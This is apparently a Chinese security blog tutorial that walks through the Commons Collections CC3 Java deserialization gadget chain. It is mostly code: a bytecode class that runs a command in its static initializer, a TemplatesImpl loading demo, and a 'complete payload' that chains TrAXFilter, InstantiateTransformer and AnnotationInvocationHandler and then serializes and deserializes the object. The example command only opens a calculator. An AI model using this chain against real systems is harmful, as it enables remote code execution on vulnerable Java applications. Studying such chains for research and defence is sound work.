点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
文章分析中有部分CC1的知识点,可以先看先前的CC1分析,再看这篇
前置知识
链子分析
完整payload
最后
在CC1和CC6中,我们的执行点是InvokerTransformer的transform方法,它采用是动态类加载实现任意类方法执行的,而在CC3中,执行点ClassLoader#defineClass,它可以直接加载字节码无论加载远程class还是本地class或者jar文件。
这里简单解释一下java中字节码的概念
它是程序的一种低级表示,可以运行于Java虚拟机上。将程序抽象成字节码可以保证Java程序在各种设备上的运行
Java号称是一门“一次编译到处运行”的语言,从我们写的java文件到通过编译器编译成java字节码文件(.class文件),这个过程是java编译过程;而我们的java虚拟机执行的就是字节码文件。不论该字节码文件来自何方,由哪种编译器编译,甚至是手写字节码文件,只要符合java虚拟机的规范,那么它就能够执行该字节码文件。
简单来说字节码就是把.java文件编译成.class文件后.class文件中的内容
链子分析
我们从执行点往上追,来到ClassLoader#defineClass
我们就是看谁重写了defineClass,选择查找用法,找一个能调用的
链子中用到的是这个,我们打开看下
这个defineClass没有写作用域,那么就是default,只能在它自己的包里面调用,那么我们就看它的调用
在它的defineTransletClasses方法中调用了,然后它这里传入的属性是_bytecodes,这个要记一下,这个就是我们传入的字节码数据
接着看谁调用了defineTransletClasses
三处调用,我们看的是getTransletInstance(),他这里又有两个条件如果_name等于null,就返回了,所以name不能为空,_class等于null就会调用defineTransletClasses,所以_class要等于空
我们接着看谁调用了getTransletInstance
只有一处,就是TemplatesImpl的newTransformer()方法,也就是TemplatesImpl初始化的时候会调用,到这里我们就可以简单构造个可以加载字节码的demo了
先创建个执行计算器的java文件
publicclassexec1 {
publicstaticvoidmain(String[] args) {
}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
thrownewRuntimeException(e);
}
}
}
可以使用javac手动编译,也可以使用IDEA运行,IDEA会生成编译后的class文件
接着来写demo
publicclassCommonCollections3 {
publicstatic void main(String[] args) throwsIOException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException {
byte[] code =Files.readAllBytes(Paths.get("D:\代码审计\代审源码\javademo\cc_demo\target\classes\com\example\cc_demo\exec1.class"));
//获取class文件,转换成字节码格式
byte[][] codes = {code};
//由于_bytecodes的数据类型是byte[][],所以我们要转换一下
TemplatesImpl templates = new TemplatesImpl();
//new 一个TemplatesImpl
Class aClass = templates.getClass();
//获取TemplatesImpl的Class
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//反射获取成员属性,然后修改
templates.newTransformer();
//初始化templates
}
}
代码很短,主要反射修改属性值,这里我们执行一下
运行后报错,我们可以看报错信息,也可以断点调试,看下它有没有加载我们的字节码文件
断个点,调试一下
它这里获取到了我们传入的字节码文件,我们接着往下看
这里有个判断,判断我们传入的对象是否等于ABSTRACT_TRANSLET,如果等于_transletIndex赋值为0,然后底下还有个判断,_transletIndex<0,就会报错,那么我们就知道了,我们传入的类要等于ABSTRACT_TRANSLET,它是个常量,我们看下是什么
是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,那我们让传入的类继承它就可以了,修改一下
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
publicclassexecextendsAbstractTranslet{
publicstaticvoidmain(String[] args) {
}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
thrownewRuntimeException(e);
}
}
publicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {
}
publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {
}
}
再次编译成Class文件,我们再运行一下我们构造的demo
命令成功执行,计算器弹出,那么到这里我们执行代码的逻辑就搞明白了,主要是要初始化TemplatesImpl(),那我们接下来就看谁调用了newTransformer()
这里找到的是TrAXFilter类,它的构造方法里面调用了templates.newTransformer(),而templates就是它构造方法的参数,那么这里就是我们构造的templates,我们可以测试一下嘛
newTrAXFilter(templates);
可以看到它也可以执行
那么我们就想有没有一个类的Transformer可以调用任意类的构造方法呢,这样不就和CC1的前半段接上了嘛,还真有
InstantiateTransformer这个类,它的transform方法可以获取任意类的构造方法,我们看下它是着么用的
它这个两个参数,iParamTypes是我们获取的构造方法,iArgs是实例化的对象,transform参数是获取构造方法的class,我们这里直接用一下
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
它这里就可以执行了,因为调用的是InstantiateTransformer.transform嘛,接着就和cc1一样了,直接把代码粘贴过来,修改一下
完整payload
publicclassCommonCollections3 {
publicstaticvoidmain(String[] args)throws IOException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException, ClassNotFoundException {
byte[] code = Files.readAllBytes(Paths.get("D:\代码审计\代审源码\javademo\cc_demo\target\classes\com\example\cc_demo\exec.class"));
byte[][] codes = {code};
TemplatesImpltemplates=newTemplatesImpl();
ClassaClass= templates.getClass();
Fieldname= aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaaa");
Fieldbytecodes= aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
Fieldtfactory= aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,newTransformerFactoryImpl());
Transformer[] transformer = newTransformer[]{
newConstantTransformer(TrAXFilter.class),
newInstantiateTransformer(newClass[]{Templates.class}, newObject[]{templates})
};
ChainedTransformerchainedTransformer=newChainedTransformer(transformer);
HashMap<Object, Object> objectObjectHashMap = newHashMap<>();
objectObjectHashMap.put("value","aaa");
Mapdecorate= TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class<?> aClass1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass1.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Objecto= declaredConstructor.newInstance(Target.class, decorate);
serialize(o);
unserialize("ser.bin");
}
publicstaticvoidserialize(Object obj)throws IOException {
ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("ser.bin"));
oos.writeObject(obj);
}
publicstatic Object unserialize(String Filename)throws IOException, ClassNotFoundException{
ObjectInputStreamobjectInputStream=newObjectInputStream(newFileInputStream(Filename));
Objecto= objectInputStream.readObject();
return o;
}
}
目前交流群人数超了只能邀请,需要进群交流的加作者微信备注交流群
性感群主不定期水群在线解答问题!
原文始发于微信公众号(菜狗安全):JAVA安全-反序列化系列-CC3分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论